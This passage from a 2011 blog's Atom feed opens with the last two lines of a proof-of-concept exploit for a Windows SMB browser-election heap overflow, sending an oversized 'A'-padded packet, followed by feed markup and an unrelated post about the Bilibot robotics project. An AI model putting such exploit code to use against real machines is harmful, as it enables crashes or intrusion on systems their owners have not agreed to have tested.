sockbroad(host,WREDIR,ELEC,election("A" * 410)) # -&gt; Zing it! (between ~60-&gt;410)
print "Happy St-Valentine Bitches\nMSFT found that one loooooooong time ago...."

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-8335855361271736012?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/wNc1txG2AdOZkuffrdBn5AuMFRI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wNc1txG2AdOZkuffrdBn5AuMFRI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/wNc1txG2AdOZkuffrdBn5AuMFRI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wNc1txG2AdOZkuffrdBn5AuMFRI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/d0zfaNMMBNg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/8335855361271736012/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=8335855361271736012" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/8335855361271736012?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/8335855361271736012?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/d0zfaNMMBNg/new-windows-zero-day-smb-browser.html" title="New Windows zero-day SMB BROWSER ELECTION Remote Heap Overflow" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/02/new-windows-zero-day-smb-browser.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0MBRngyfCp7ImA9Wx9UF0Q.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-5381497253130504334</id><published>2011-02-15T10:44:00.000-08:00</published><updated>2011-02-15T10:44:17.694-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-15T10:44:17.694-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Robotics" /><title>The Bilibot Project</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-xfsmMZn1SjM/TVrJaYGfC8I/AAAAAAAAAbk/77jc6T-vifE/s1600/title.jpg" imageanchor="1"&gt;&lt;img border="0" height="148" src="http://1.bp.blogspot.com/-xfsmMZn1SjM/TVrJaYGfC8I/AAAAAAAAAbk/77jc6T-vifE/s400/title.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.bilibot.com/"&gt;The Bilibot Project&lt;/a&gt; is an effort to build an affordable robotics platform for educators, hobbyists and researchers. &lt;br /&gt;
&lt;br /&gt;
The main focus of this project is the computer platform, although we do produce the full packaged robot. Lots of small cheap computers exist, but which ones would be good robot brains?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-5381497253130504334?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/0grxQTJWtw0Q8giPCShu_5Rm8Zc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0grxQTJWtw0Q8giPCShu_5Rm8Zc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/0grxQTJWtw0Q8giPCShu_5Rm8Zc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0grxQTJWtw0Q8giPCShu_5Rm8Zc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/o-YHVp2wzj0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/5381497253130504334/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=5381497253130504334" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/5381497253130504334?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/5381497253130504334?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/o-YHVp2wzj0/bilibot-project.html" title="The Bilibot Project" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-xfsmMZn1SjM/TVrJaYGfC8I/AAAAAAAAAbk/77jc6T-vifE/s72-c/title.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/02/bilibot-project.html</feedburner:origLink></entry></feed>

